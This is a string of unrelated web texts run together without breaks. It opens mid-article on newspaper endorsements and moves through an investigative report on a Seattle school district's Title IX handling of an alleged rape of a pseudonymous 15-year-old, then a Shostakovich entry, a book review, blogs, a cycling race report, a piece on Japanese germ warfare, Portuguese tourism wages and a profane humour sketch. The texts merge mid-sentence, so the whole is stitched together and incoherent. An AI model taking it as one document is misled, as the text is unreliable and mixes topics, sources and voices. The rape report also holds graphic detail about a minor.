Both papers have also faced backlashes over their decision, with readers canceling subscriptions.
Trump tweeted Friday morning that voters 'are really smart in cancelling subscriptions to the Dallas & Arizona papers & now USA Today will lose readers!'
'The people get it!'
Boas, who describes himself as a lifelong Republican, said his paper's decision to back a Democrat for the presidency was an easy decision given Trump's policy proposals and behavior.
'We would be shocked and horrified if our own kids, our own teenagers, behaved like him,' he said, adding that he understood Republicans' mind-set but felt 'a lot of them are in denial.'Editor's note: The alleged victim in this case did not participate in this report. Because naming her parents would identify her, her first name and her family name are pseudonyms. Emily Miller was on a three-day nature field trip with Seattle’s Garfield High School in November 2012 when her parents got a call that their 15-year-old daughter had been raped and was headed to a hospital. Teachers, Garfield’s principal, district officials, a rape advocate, the National Parks Service and the FBI, which has jurisdiction over the national park, were all alerted, and details tumbled out quickly: The alleged perpetrator was a classmate, who admitted that he had had anal sex with her. He acknowledged to law enforcement that she told him to stop several times but said he persuaded her to “roll with it.” Medical records reported mild vaginal trauma, semen streaked on her pubic hair and in her anus and a diagnosis of rape trauma syndrome. Emily vomited, possibly because of a nauseating megadose of prophylactic antibiotics. Her rape advocate at the hospital, who had 10 years of experience working with rape victims, said she “presented as one who had experienced a rape.” Emily initially claimed a stranger entered her cabin and raped her in the night. In fact, she had sneaked out of her cabin after lights out, like many of the kids on the trip, and had been talking to the alleged perpetrator in his bed before the incident. At the hospital she explained that she didn’t want to get him, a friend, in trouble, records note. She said she was afraid he would go to jail and wanted him to get help. When asked if Emily said anything during the incident, the boy disclosed to the school district investigator, “I did not pay attention to her that much.”
‘In the dark ages’
A Facebook post by Emily’s alleged assailant — one of several sexually offensive posts he made on Facebook. Emily didn’t need to worry about sending her friend to jail. Emails show that the district attorney concluded that a sexual assault may have taken place, but it wasn’t a case that could be successfully prosecuted. This is the fate of most rapes reported to the police, and it’s especially true when there are no witnesses or significant injuries. In the months that followed, the Millers frantically contacted the school, trying to figure out how the alleged rape could have happened and how to get Emily — soon diagnosed with post-traumatic stress disorder — back on track in school. But school district officials responded to their questions with confusing or contradictory information, if they responded at all. As the months rolled by, the alleged perpetrator continued attending Garfield as usual, while claiming on Facebook that he had been framed. With rumors swirling, Emily never returned to Garfield. Instead, the Millers say their daughter’s mental health deteriorated, landing her in a residential treatment facility and pushing them more than $50,000 in debt. The Millers had no idea about Title IX, which prohibits educational institutions receiving federal funding — high schools included — from sex discrimination, with particular prescriptions for addressing sexual assault. An “America Tonight” analysis of extensive school records and email exchanges about the case suggest administrators at Seattle Public Schools didn’t either. This school district isn’t unique. While the flawed response of many colleges to sexual assault has triggered fiery debate and White House attention, experts say high schools are far worse. “High schools are basically where colleges were like 15 years ago — in the Dark Ages,” said Colby Bruno, senior legal counsel at the Victim Rights Law Center. Bruno, who represents sexual assault victims, said 9 out of 10 high schools that she has contacted over sexual violence cases don’t realize that Title IX applies to them. If the provisions of Title IX had been followed, Emily’s mother believes, her daughter’s education could have been salvaged and her mental health protected. In May the family filed a Title IX complaint with the federal government, asking it to investigate. Last month the Department of Education’s Office of Civil Rights agreed, making Seattle Public Schools, which covers all of Seattle, one of 23 elementary and secondary school districts currently under federal investigation for Title IX sexual violence issues. The number of colleges under investigation recently reached 64. And the stakes for sexual assault in high school can be even higher than in college. The victims are younger, and the impact and recovery years are more formative. It also isn’t as easy to let a student take time off or cut them loose. College is voluntary, but for children under 18, getting an education is a requirement and a right.
The investigation
Garfield’s celebrated music program graduated Jimi Hendrix and Quincy Jones. Emily was an accomplished musician but lost much of her interest in music since the alleged assault, her parents said. Flickr/Matthew Rutledge “I expected the school to say, ‘Something went terribly wrong, and we’re going to get to the bottom of it,’” Emily’s father said. “But that never happened.” Under Title IX, a school must conduct a prompt investigation into any report of sexual assault and determine whether it is “more likely than not” that it happened — a completely separate process from a criminal investigation, with a much lower burden of proof. In its policy, Seattle Public Schools says it will respond to reports within 30 days. But the district didn’t begin to investigate the incident with Emily until six months after the alleged incident and only at the parents’ insistence, records and emails show. It took 14 months for the district to conclude that there was “insufficient evidence” that she was a “victim of harassment.” Title IX also requires the investigation to be “equitable.” But the Millers said it was so deeply skewed that the district was essentially an advocate for the boy. A June 2013 draft of the district’s report (a final one was never prepared) didn’t include Emily’s side of the story at all. By that point, she was in residential treatment and unavailable for an interview, but the district gave the Millers until December to submit any material they wanted. In October they sent hundreds of pages of documents to prove their case, including Emily’s handwritten description of the incident from her therapy journal, her typed description, her initial interview with National Park Service officials and her relevant medical records. District documents show that in March 2014 the school board discounted the documents on appeal as untrustworthy (there “may be different information” in the rest of the girl’s therapy journal, the school board said) or simply didn’t acknowledge them and accused the Millers of hampering the investigation by taking so long. But the district gave great weight to the story of an alleged witness, the boy’s cabinmate and friend. He said he heard Emily moaning. The alleged assailant admitted to investigators on the record that his friend told him he had his back. In response, Emily wrote, “I was never moaning — if I was, then it was in pain, and I was crying as well.”
They’re afraid to think about consensual sex happening at the high school level. And I think they’re definitely afraid to think about sexual violence happening. Ali Safran Advocate against sexual violence
The district seized on Emily’s initial claim that a stranger attacked her in her bed. Strikingly, the district didn’t note the contradictions in the alleged assailant’s story —that he didn’t ejaculate, though semen was found; that he didn’t have vaginal sex with her, when there was mild vaginal trauma; and that in his two accounts, to law enforcement and then months later to the district investigator, the anal sex went from an “accident” that Emily lay there and “took” to something intentional.
A selfie Emily posted on Tumblr in December 2012. (The final sentences are redacted because they are unrelated.) Screen shot courtesy of the Miller Family For high schools, sexual assault is an uncomfortable issue to tackle. College administrators can be squeamish thinking of their students as sexual predators, and that’s doubly true when the student is 15 years old, experts say. “They’re afraid to think about consensual sex happening at the high school level,” said Ali Safran, who was sexually assaulted in high school and now develops sexual assault curricula for high schools. “And I think they’re definitely afraid to think about sexual violence happening.” In defending how it handled the Millers’ case, district spokeswoman Teresa Wippel told “America Tonight” via email, “This incident occurred in November 2012, and law enforcement authorities were immediately called. They investigated but did not file charges. Parents asked [Seattle Public Schools] to investigate, and we did. Based on the investigator’'s report, superintendent concluded the evidence did not support an assault. Parents appealed to school board, which affirmed superintendent’s decision.” She couldn’t offer any more details because it is a “pending legal matter and it involves students.” To prompt a school district investigation, parents of an alleged rape victim shouldn’t have to ask. The Millers learned that only in April 2013, after they elevated their complaint to the state level and heard about their Title IX rights for the first time. When they alerted district officials to these legal requirements, the officials appeared to backtrack, emails show, claiming an investigation was initiated before agreeing to undertake one. The district’s response riled school board vice president Betty Patu, who emailed the superintendent in June 2013 accusing officials of “sweeping the sexual assault under the rug … It seems like they are just making up excuses,” she wrote. “Is this a joke or what?” It wasn’t as if Emily’s case was the first alleged sexual offense to cross Seattle Public Schools administrators’ desks. In a district of about 51,000 students, the safety and security department recorded that 47 were victims of a sexual offense in the 2013-14 school year. And while 1 in 5 female students experiences attempted or completed sexual assault at college, studies show, almost as many are victimized before they step foot on campus. It’s unclear whether Seattle Public Schools conducted an investigation into any of the reported incidents. The district’s public records officer, Julie Barbello, said she could not locate those records. Under a December 2011 policy, the superintendent is supposed to draw up an annual report reviewing the district’s sexual harassment procedures. According to Barbello, there hasn’t been a single report so far. "Nobody even knows the rules, because nobody’s read the rules, because nobody's felt a need to enforce the rules, so why bother?" said Charlie Mas, a community activist, whose 14 years of relentless muckraking in the school district landed him on a Seattle magazine list of the city's "Most Influential." It's standard, he said, for the district to have piles of policies that gather dust, with no consequence for the violators. But he said in sexual assault cases it amounted to "malign neglect." "There’s so little they had to lift," he said, "and the damage is so severe."
The retaliation
Emily never went back to Garfield, but the alleged perpetrator returned after a 10-day "emergency exclusion" on the basis of a possible security threat he posed to other students. It wasn’t his first. Two years before, when he was in middle school, he was emergency excluded for having sex with a girl behind bushes on school property during lunch, according to school records. At school the boy spread the story that he was framed, posting on Facebook that he had been “greezed.” It turned school into a hostile environment that made it impossible for Emily to return, the Millers said, and triggered their daughter’s full-blown PTSD. In this conversation, below, that Emily had with a friend over Facebook, she explains how she found out about the story circulating at Garfield. Her friend mentions that he heard the alleged rapist, a popular student-athlete, talking about the incident at school. (The ellipsis marks an edit where the chat was condensed for brevity.)
In its policy, the district states that retaliation against someone who makes a sexual harassment complaint “will result in appropriate discipline” and that it will “take reasonable actions” to prevent it from happening. The Millers said the district did nothing to respond to the insults and painful gossip. It offered Emily a transfer to another school, but as her PTSD grew increasingly disabling, they said they were never given any clear options about how to make her re-entry work. “We were not only trying to care for our shell-shocked daughter — we also had to pick up the pieces of her education and figure out what happens next,” Emily’s father said. Seattle schools’ Title IX coordinator should have been the parents’ point of contact, overseeing the whole process. But the Millers didn’t know the district had such an employee until months after the incident, and even then, he wouldn't communicate, defering instead to the district’s legal department, where most of the Millers' messages ended up anyway. That's a potential conflict of interest, since the district’s lawyers could end up defending the institution if the family sued. The Millers eventually sent their daughter to a residential treatment facility in Utah, where she lived for five months until the family ran out of money. Emily’s mother believes her daughter could have gone back to school right away with her head held high before the rumors started if they had known that the alleged perpetrator wasn’t there. In a July 2013 email, the district’s general counsel said the 10-day suspension “permitted your daughter to immediately return to school if she chose.” But it didn’t permit her, the Millers said, because they were never told about it. In fact, the principal refused to tell them if the boy had been sanctioned. “The whole situation was a disaster,” Ms. Miller said. “The whole [plan for her education] went down the tubes.”
‘Toothless tiger’
For Title IX violations, the only penalty the Office of Civil Rights has in its arsenal is revoking federal funding — something it has never done to any educational institution in the history of the law. But at the college level, damaging publicity has worked as a powerful weapon. That sword isn’t so sharp at public high schools, where there isn’t the same competition for students. Steven Kelly, a victims’ rights lawyer who’s bringing a private Title IX lawsuit against Prince George’s County, Maryland, on behalf of a girl with developmental disabilities who was allegedly sexually assaulted, called the Office of Civil Rights “a toothless tiger.” “[The school district] couldn’t care less,” he said. “They’re not really going to revoke their funding. They’re not going to get anyone fired.” But high schools can be painted with a big red target of liability: an accusation of negligence that may have allowed the rape. At college, little supervision is expected beyond the casual monitoring of a residential adviser or dean. But many parents assume elementary, middle and high schools serve in loco parentis for their children while at school. Through their research and records requests, the Millers discovered that the students on the field trip had been freely playing outside and in one another’s cabins for hours after lights out on both nights while their chaperones slept. The chaperones admitted later to a district investigator that they hadn’t even read the district’s field trip guidelines, which recommend checking on students until they’re asleep. The Millers believe the school was negligent in the way it planned and chaperoned the field trip, especially since their daughter’s alleged rapist had a history of sexual misconduct. Via email, the district’s general counsel was insistent that “there is no evidence the chaperones did not perform their duties.” “I think they were sort of caught with their pants down and were struggling with how to respond,” Emily’s father said. “Their immediate response was, ‘We’re not going to admit that anything went wrong, because if we do, we open ourselves up to some sort of lawsuit.’” By the time the district gave its decision on the case, the family had already figured their daughter shouldn’t return to Seattle Public Schools and moved to Tucson, Arizona. Emily, a former honors student, still suffers mental health issues, her parents said. “Our lives were devastated,” said her mother. “The whole thing is ridiculous, and it’s ridiculous the boy is walking around like this.” He did not respond to a request for an interview. The Millers hope their complaint and awareness campaign will educate other high schools, families and students about sexual violence and their Title IX rights, which they believe could lead to fewer assaults at colleges too. Most rapists, after all, are repeat offenders. And one of the greatest predictors that a young woman will be sexual assaulted at college is whether she was sexually assaulted as a girl.The String Quartet No. 15 in E-flat minor, Op. 144, was Dmitri Shostakovich's last quartet. It was completed on 17 May 1974 and premiered in Leningrad by the Taneiev Quartet on 15 November (one of only two Shostakovich quartets not premiered by the Beethoven Quartet). Like most of the composer's late works, it is an introspective meditation on mortality.[citation needed]
Structure [ edit ]
The piece consists of six linked (attacca) movements, all marked Adagio:
The playing time is approximately 36 minutes, making it the longest of Shostakovich's string quartets.
Shostakovich told the Beethoven Quartet to play the first movement "so that flies drop dead in mid-air, and the audience start leaving the hall from sheer boredom".[1]
An original recording of the quartet performed by the Fitzwilliam Quartet (backed with Shostakovich's String Quartet No. 8 in C minor) was released on Decca in 1976. Shostakovich supervised the production.
References [ edit ]
Notes
SourcesA letter has been sent to the CBDT Chairman by Justice AP Shah, on behalf of the Citizens’ Whistleblowers Forum (CWF), seeking investigation into the Sahara-Birla payoff papers. The forum also asked the CBDT to challenge the order passed by the Settlement Commission granting immunity to Sahara.
Justice Shah is the CWF Chairperson. Other founder members of CWF are Justice Santosh Hegde (former SC judge), Admiral Ramdas (former Chief of Naval Staff), Wajahat Habibullah (first CIC), EAS Sarma (former GoI secretary), Aruna Roy (social activist), Jagdeep Chhokar (Association for Democratic Reforms and former Prof IIM Ahmedabad), and Prashant Bhushan (advocate, SC).
“The documents recovered in the raids on Sahara and Birla Groups ought to be immediately forwarded to the CBI for a thorough criminal investigation since they reveal bribery of the politicians and civil servants by these two groups,” the letter said.
The letter stated that the circumstances make out a more than adequate case for directing a credible and independent investigation as per the law laid down by the Constitution Bench in Lalita Kumari case.
Activist lawyer Prashant Bhushan had already approached the Supreme Court seeking CBI investigation into the matter. He filed 10 additional documents in the case, as the Bench headed by Chief Justice Khehar sought additional evidence to order probe in the case.
The Income Tax Settlement Commission (ITSC), by its order dated 10th November, 2016, had granted Sahara India immunity from prosecution and penalty following raids conducted on November 2014, during which “diaries” listing alleged pay-offs to politicians were recovered.
This article has been made possible because of financial support from Independent and Public-Spirited Media Foundation.Review: Forever Young
Forever Young: A Life of Adventure in Air and Space
by John W. Young with James R. Hansen
University Press of Florida, 2012
hardcover, 432 pp., illus.
ISBN 978-0-8130-4209-1
US$29.95 “‘Unique’ has become such a trite word that I can no longer use it to describe John Young. But ‘unusual’ certainly fits, even in a group that, if not unique, was at least close to it.” So writes former astronaut Michael Collins in the foreword to Forever Young, a memoir by fellow astronaut John Young. And, arguably, either “unique” or “unusual” is a fitting description of the man who flew six space missions, including the first flights of both Gemini and the Space Shuttle, and is one of only 12 people to date to have set foot on the Moon. That experience alone should make for a fascinating life story. Yet Forever Young, written with Neil Armstrong biographer James Hansen, falls a bit short of those lofty expectations. Young was born in San Francisco (his father, working in the construction business, helped build Hangar One at Moffett Field, now part of NASA’s Ames Research Center) but spent most of his formative years split between Florida and Georgia. Attending Georgia Tech on a Navy ROTC scholarship, he graduated with a degree in aeronautical engineering and, after a brief detour serving on a destroyer, went on to become a naval aviator and test pilot. In 1962
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at best achieved mini-organs that resemble those of nine-week-old foetuses, although these “cerebral organoids” were not complete and only contained certain aspects of the brain. “We have grown the entire brain from the get-go,” said Anand.
Anand and his colleagues claim to have reproduced 99% of the brain’s diverse cell types and genes. They say their brain also contains a spinal cord, signalling circuitry and even a retina.
The ethical concerns were non-existent, said Anand. “We don’t have any sensory stimuli entering the brain. This brain is not thinking in any way.”
Anand claims to have created the brain by converting adult skin cells into pluripotent cells: stem cells that can be programmed to become any tissue in the body. These were then grown in a specialised environment that persuaded the stem cells to grow into all the different components of the brain and central nervous system.
According to Anand, it takes about 12 weeks to create a brain that resembles the maturity of a five-week-old foetus. To go further would require a network of blood vessels that the team cannot yet produce. “We’d need an artificial heart to help the brain grow further in development,” said Anand.
Several researchers contacted by the Guardian said it was hard to judge the quality of the work without access to more data, which Anand is keeping under wraps due to a pending patent on the technique. Many were uncomfortable that the team had released information to the press without the science having gone through peer review.
Zameel Cader, a consultant neurologist at the John Radcliffe Hospital, Oxford, said that while the work sounds very exciting, it’s not yet possible to judge its impact. “When someone makes such an extraordinary claim as this, you have to be cautious until they are willing to reveal their data.”
3D-printed brain tissue Read more
If the team’s claims prove true, the technique could revolutionise personalised medicine. “If you have an inherited disease, for example, you could give us a sample of skin cells, we could make a brain and then ask what’s going on,” said Anand.
You could also test the effect of different environmental toxins on the growing brain, he added. “We can look at the expression of every gene in the human genome at every step of the development process and see how they change with different toxins. Maybe then we’ll be able to say ‘holy cow, this one isn’t good for you.’”
For now, the team say they are focusing on using the brain for military research, to understand the effect of post traumatic stress disorder and traumatic brain injuries.This is Leslie. She’s one of my best friends. The kind of friend who you laugh with until you pee your pants. The kind of person you’d trust with anything. She’s a friend I could go a few months or even years without seeing and then pick up like no time had passed.
We met when I was just beginning with birth photography more than 2 years ago. I hung a flyer up at the Hollywood Birth Center, looking for anyone willing to let me photograph their birth. She called, we met, and I documented the birth of her second son, Myles. It was the first time I’d seen a baby be born. Not much later, we became dear friends. It feels weird talking about her like this… So here’s my open letter:
Dear Leslie.
You are such a badass. You are beautiful to the point of cliche – the whole package, inside and out. You make me laugh. You gush to the point of making me feel uncomfortable, but I appreciate every single over-the-top compliment you’ve ever given me. You needed to have a daughter and here she is. I love how much your mother was a part of this birth. I love how you thought of every detail and made everything SO BEAUTIFUL, and laughed your way through contractions, stayed so humble and funny and amazing every second of your journey. You inspire me. (That’s your line to me. I stole it.) And this is getting ridiculously heavy and sappy and I feel an urge to put some wildly inappropriate comment here, but this is a public blog… so here – Enjoy your story.
*** Special note. Leslie’s birth story was also featured as part of a news story about home births on CBSMiami by anchorwoman Rhiannon Ally. This is the link to the news story: http://miami.cbslocal.com/video/9576728-rhiannon-ally-talks-water-births-on-todays-talking-baby-report/
**** The song played at the end part of the slideshow/video is called Lullaby, and is by Maggie Eckford. It was licensed and used with permission through The Music Bed. You can find more about Maggie Eckford here: http://www.maggieeckford.com
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VIENNA//2516: a Tonal Serialist, Ambient, Post-Vaporwave soundtrack for a virtual Vienna, geared towards neo-modernist enthusiasts in 2516. The overall tone of the album is intended to create a sense of unease and anxiety, the kind that would have been in place in Vienna at the turn of the century (pre-war fear, etc).
-FIMSOW ERGOT ACH VUN
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released July 10, 2016
licenseThis article was written by John Vibes.
Recently, a Washington State senator made news with a proposed bill that would force people who ride bicycles to pay a registration fee in order to ride, and additionally they would be forced to put a registration number on their bike, that would sort of work like a licence plate. Senator Randi Becker says that this measure should be taken to better keep track of, and arrest, people who break laws while on bike.
The Senator said that he proposed this bill because there were allegedly cyclists who were causing traffic disturbances and “urinating in people’s yards”
However, when looking into the finer details of the bill it is easy to see that the main goal is to generate revenue and establish another excuse to violate the rights of peaceful individuals.The bill proposes a yearly $20 bicycle operator fee for anyone 18 years or older who rides their bike on public pavement or trails. Also, cyclists would have a license plate so they can be easily identified by police, and it is likely that if police see a rider without a license plate they will stop him and harass him, give him a ton of fines, and possibly even send him to jail.The bill is even written specifically enough to require that the license plate be made with reflective material so it can be seen during the day and the night.
This situation is obviously ridiculous, but in reality, any license or registration requirement is ridiculous. All of these things are basically permission slips for actions that people shouldn’t need permission for, and on top of that they cost money. The measure is projected to bring in at least $1 million in revenue in the first year.Here at BeerSoaked.com we are constantly amazed at who reads our blog. In fact, when we started this thing we had no idea that anyone other than ourselves would be reading this stuff. So when we got a comment from a blogger named Júlíus Júlíusson from Iceland, we immediately called BS and thought it was a joke.
Yeah right, ICELAND.
But then we followed the link to the URL he put in his comment and realized that not only is Julius a real person, he is a very talented writer… from Iceland! Most of his blog is about food, but here’s a sample from his beer post…
Think Positive – Blog About Food And Life
Iceland Beer Brands
http://www.joyandfood.com/icelandic-beers-brand/
Beer was banned in Iceland from 1915 to March 1, 1989. In Iceland we have several natively brewed beer brands. The major breweries are Ölgerðin EgillSkallagrímsson and Vífilfell. The word Brugghús is Icelandic for brewpub. Following the end of prohibition, some Icelanders have celebrated Beer Day on March 1. Some people may take part in a bar crawl. The legalization of beer remains a significant cultural event in Iceland as beer has become the most popular alcoholic beverage. Last four or five years… [read more]
The article goes on to mention Icelandic breweries: Kaldi, Einstök, Viking, and a handful of others that we won’t even dare try to say aloud… Ölvisholt Brugghús, Ölgerð Reykjavíkur, and the list goes on. The blog is easy to read, and we learned a bit about Iceland’s beer culture from an actual resident and BeerSoaked follower.
Iceland had prohibition until March 1, 1989. Who knew?
Thanks Julius for opening our eyes to a world of beer that we hadn’t ever thought about until now. We hope you had a great Beer Day, and we’ll be toasting to you and all the beer drinkers in Iceland on March 1st from now on.
SKÁL!
(Skál means “cheers” in Icelandic.)In 1945, just after Japan surrendered to the United States to end the second world war, a Japanese I-400 class submarine—the likes of which Americans had never seen—surrendered to a Navy destroyer. The Americans were surprised at the submarine’s enormous size, and subsequent inspections continued to astonish. It was about 60% larger than the largest US submarines, twice as fast as the fastest US subs, and had the fuel capacity to travel around the Earth one and a half times before refueling. Perhaps most impressively, it was also an aircraft carrier.
The submarine had space for three specialized Japanese airplanes, called Seiran, which translates literally to “storm out of a clear sky.” Before the Japanese surrender, this particular submarine’s original mission had been to secretly sail westward from Japan to the US east coast, where an attack would be unexpected, and use its three aircraft to drop rats and fleas infected with bubonic plague, cholera, typhus and other diseases upon New York, Washington D.C., and other cities along the eastern seaboard. When problems made that plan infeasible, the sub was retasked to bomb the Panama canal from the east, but the end of the war arrived before the crew could carry out its mission.
By the end of World War 2, Japan had done quite a bit of experimentation with germ warfare, mostly in the form of infected fleas. The program got its start in the 1930s when Japan occupied Manchuria, and later in their invasion of China. These biological weapons were developed at Japan’s Unit 731, an installation disguised as a water purification plant. The Allied forces had long suspected that Japan was utilizing germ warfare against China, but was unable to conclusively prove their suspicions during the war.
When America was attacked by Japanese balloon bombs, US officials were concerned that these might include some of Japan’s infected flea payloads, but no such biological balloon bombs were ever discovered.
Several epidemics of cholera, typhoid, anthrax and bubonic plague were reportedly caused in China by Japan’s “Uji” bombs, which were designed specifically to burst hundreds of feet above the ground, and rain infected fleas upon the populace. By some estimations, these attacks triggered outbreaks which killed as many as 50,000 Chinese people over six years. According to Chinese reports, infected houses, hospitals and other buildings were burned and had to be left untouched for decades, and fears of further outbreak still haunt the cities today.Cadel Evans (BMC) won Tuesday’s stage 4 of the 2011 Tour de France, a 172.5-kilometer race from Lorient to Mûr-de-Bretagne with a tough uphill finish.
Race leader Thor Hushovd (Garmin-Cervelo) marked the climbers on the finale to retain his overall lead another day — by just one second ahead of Evans.
“I am very, very happy to keep (the jersey),” said Hushovd. “It was very hard up the final climb. I was on my limit to stay with those guys. The maillot jaune gave me extra motivation to dig even deeper.”
Evans showed impressive form to mark a late attack by Contador and hold a select group off on the long uphill sprint.
“This is the first time that I won a road stage at the Tour de France,” the Australian said. “I am very content. I am still in second place, but the impressions are good right now. We had good preparation for the Tour this year and the team is very motivated to help me, so everything is going very good right now.”
The win was Evans’ first road stage win at the Tour. He was awarded the win of the 2007 stage 13 time trial after Alexander Vinoukourov tested positive and his win was negated.
An interesting first-week stage
The stage 4 route was part of race organizers’ efforts the last two years to climb out of a rut of predictable first-week field sprints. The route included two categorized climbs, the Category 4 Côte de Laz at 79km and, much more importantly, the Cat. 3 Mûr-de-Bretagne at the finish. The route was run on narrow, twisting road with a seemingly endless series of uncategorized risers.
A cool wet start
It was just 16 degrees C (61 Farenheit) and raining when the field rolled out of Lorient. At the 9km mark, a group of five came together off the front. The best placed Movistar’s Imanol Erviti, who after three stages of this Tour found himself at 111th at 2:58. The others: Gorka Izagirre Insausti (Euskaltel – Euskadi), Blel Kadri (Ag2r-La Mondiale), Jérémy Roy, (Fdj) and Johnny Hoogerland (Vacansoleil-DCM).
By the 25k mark, the break had more than a four-minute gap making Erviti, a two-time Vuelta a Espana stage winner, the Tour leader on the road.
BMC was doing the bulk of the work at the front of the field, perhaps signaling that Evans was looking to position himself for a run at a stage win — and the yellow jersey. Stage favorite Philippe Gilbert’s Omega Pharma squad also chipped in to the work, and the break’s advantage was brought back to 2:15 at the 100 kilometer mark.
The KOM ‘sprint’
The breakaway still had a decent gap over the top of the day’s first categorized climb and Hoogerland snagged the one KOM point on offer there, creating a three-way tie on the KOM competition, with Gilbert, Hoogerland and Mickael Delage (FdJ) each with one point. The tie would be broken with the points on offer at the finish line, which would also serve as a category 3 KOM line.
The intermediate sprint
Hoogerlang also grabbed the first-place points at the day’s one intermediate sprint, which came 80km from the finish. Behind the break, Monday’s stage winner, Garmin’s Tyler Farrar, took the field sprint for the sixth-place points. Green jersey holder Joaquin Rojas (Movistar) was just behind Farrar in seventh, while HTC’s Mark Cavendish was ninth.
The chase
Omega did the bulk of the chasing after the sprint, but the breakaway took advantage of the twisty roads and a tailwind to maintain a gap of roughly two minutes into the final 30km.
As the peloton hit the climbs in the final 20km, the gap started to come down, to just under a minute with 10k to go. In the peloton, the non-climbers were suffering, dangling off the back.
The break was finally caught with 3km to go, just as the race hit the steep opening ramps of the finish climb.
Finale
BMC’s Hincapie took a monster pull into the climb while Evans tucked in near the front.
The front bunch stayed intact with all the favorites into the final 2k until Contador opened it up with an attack at 1.3km to go.
The Tour champion’s move was marked by a select group of favorites, including Hushovd, Gilbert, Evans and Alexander Vinokourov. Evans led out the slow motion uphill sprint and held off a late bike throw by Contador to take the win.
The pace on the final climb was not enough to shake a determined Hushovd, however. The big Norwegian crossed the line with the same time as Evans to retain the yellow jersey another day.
Frank Schleck finished at the same time as Evans, Contador and Hushovd. But a few other GC favorites lost a handful of seconds in the finale. Ivan Basso was 6 seconds back, as was Bradley Wiggins. Chris Horner, Robert Gesink, Levi Leipheimer and Andy Schleck were all at 8 seconds.
“The time (gap) today is just a few seconds,” Evans said. “I don’t think that these small differences will mean much when we get to Paris. It’s a good indication of the first week, but we have 3,000 kilometers to get to the finish line.”
Up next
Wednesday’s stage 5 is 165km from Carhaix to Cap de Fréhel, across the windy coast of Brittany. The likely cross winds could give some teams an opportunity to split the field apart and a fairly technical finale could upset some sprinter’s trains and create an unpredictable finish.
Race notes
Jurgen Van de Walle, who was involved in a crash on stage 2, pulled out of the race early on Tuesday. He is the first abandon of this Tour
Quick results
Stage
1. Cadel Evans, Bmc Racing Team, in 4h 11′ 39″
2. Alberto Contador, Saxo Bank Sungard, at s.t.
3. Alexandre Vinokourov, Pro Team Astana, at 00:00
4. Rigoberto Uran, Sky Procycling, at s.t.
5. Philippe Gilbert, Omega Pharma – Lotto, at s.t.
GC
1. Thor Hushovd, Team Garmin – Cervelo, in 13h 58′ 25″
2. Cadel Evans, Bmc Racing Team, at 00:01
3. Frank Schleck, Team Leopard-Trek, at 00:04
4. David Millar, Team Garmin – Cervelo, at 00:08
5. Andréas KlÖden, Team Radioshack, at 00:10
Complete resultsThe amount of overnight stays in Portuguese hotels in 2016 increased, the number of guests increased, the occupancy rate increased, the revenues increased. The average wages of the hotel staff, however, dropped.
The alarms went off last week, when the data summarizing Portuguese tourism industry in 2016 were disclosed, confirming that the sector, last year, smashed all the records yet again. The report of the National Statistics Edition (INE) stated that the overnights stays increased, the guests increased, the occupancy rate increased, and the revenues increased as well. Everything increased and the Portuguese tourism achieved one of the best European performances.
And that is precisely what governors, entrepreneurs and international organizations have emphasized. The Secretary of State of Tourism talks about a sector that has been “steadily increasing in value”, the Association of Portuguese Hotels and Caterers (AHRESP) cherished the sector’s “largest employment growth” in the last five years and even the secretary-general of the World Tourism Organization (UNWTO) acknowledged that “what is taking place in Portugal is a story that the rest of the world needs to know”.
However, last year, when the Portuguese hotel industry achieved its highest number of guests ever and earned more than ever before, the sector’s fixed-term employment grew at a faster rate and the average wages decreased in comparison with the figures of 2015.
The national accommodation establishments hosted around 19 million guests (of which more than 11 million were from abroad), corresponding to more than 53.5 million overnight stays. Thus, the number of guests increased by 9.8% compared to 2015, while the overnight stays increased by 9.6%. This growth, for instance, is greater than what Spain was able to achieve, one of Portugal’s major competitors. The Spanish market grew at around 7% in guests and overnight stays, albeit it should be noted that this market’s size is very different, amassing a total of 99 million guests and 330 million overnight stays.
On the other side, Portugal’s tourism revenues increased by 10.7% last year, for a total of 12.68 billion euros. The Portuguese tourists, in turn, spent 3.84 billion abroad, with the tourism balance surpassing the 8.8 billion mark. This means that, in 2016, tourism represented about 68% of the balance of services, whereas the balance of goods and services (which registered in 2016 a balance of about 4 billion) would be a loss-maker without tourism.
However, employment-wise, everyone shares the blame. Last year, the sector that comprises housing, catering and similar activities employed, according to the data provided by the INE, 279.200 workers, an increase of 7.9% compared to the population employed by the same sector in 2015.
Employment has indeed increased. From 2015 to 2016, the sector was able to create more than 20 000 jobs, being responsible for most of the jobs that were globally created last year. However, precarious work is what has been actually increasing, which could be deemed normal in a sector that often hires employees on a fixed-term basis due to its seasonality.
Taking into account only the employees (who represented a total of 215 500 at the end of 2016), the open-ended contracts increased by 7.2%, a total of 139 600 workers. In contrast, fixed-term contracts and “other types of contracts” increased by 13.4% last year, reaching a total of 75 900 workers.
The spike in fixed-term contracts and other types of contracts could be, first and foremost, explained by seasonality, a traditional obstacle in tourism, which makes companies in the sector hire temporary workers only for the summer season, however, the low season of 2016 achieved the highest growth of the whole year. The off-peak season was responsible for an increase of 63% in overnight stays last year.
And, whilst tourism revenues increased by 10% and the hotel industry profits reached a growth of 17%, collecting almost 3 billion euros, the sector’s average wages decreased last year. Still based on the data provided by INE, the average net wage of employees was 614 euros per month, one euro less than the 615 euros registered in 2015. This drop does not mean that the sector’s wages haven been cut; it rather means that those who have just started working in it are earning less, dropping the sector’s average wages.
The situation gets bleaker when tourism is compared to other sectors. Only the sector that encompasses agriculture, livestock production, hunting, forestry and fishing pays less: an average of 593 euros net per month, according to INE.
The gap between tourism and the other sectors is even more blatantly obvious when considering the ratio of workers who earn the minimum wage. Based on the most recent survey on earnings and working time carried out by the Ministry of Labor, Solidary and Social Security, of April 2016, 35.9% of the population employed by the tourism sector earns the minimum wage, the country’s second-largest ratio, just behind administrative activities and support services.
Those who work in tourism are not only the ones who earn less, but they are the ones who work the longest. At the end of April last year, the paid working hours per week were 39.2 hours. Only those who work in manufacturing, transportation and storage work more than that.Okay, you’ve gotta see this, because it is actually insane. Doesn’t this guy look so much like Danny?
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This guy is the spitting image of Danny. It’s kind of freaky, man. Everything about him. The ears too. Be honest: If this guy came over here and started talking to you, wouldn’t you totally think it was Danny? That’s how much he looks like him! Danny even owns a shirt just like that!
What the fuck, dude. What. The. FUCK.
He even kind of sounds like Danny a little bit. Holy shit, that’s bizarre. Truly bizarre. You gotta wonder if they’re distantly related or something. How else do you explain that resemblance? This is Danny’s clone we’re looking at.
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Okay, his laugh’s a little bit different. Danny’s got that high-pitched cackle. With this guy, it seems like it’s more of a low chuckle. Still, pretty close. Seriously, man, they have the same fucking face! Hair and everything. Look at him!
Unbelievable. Wait till Danny hears about this. Bet he’ll get a kick out of it.
Mind = Blown.Da RBA
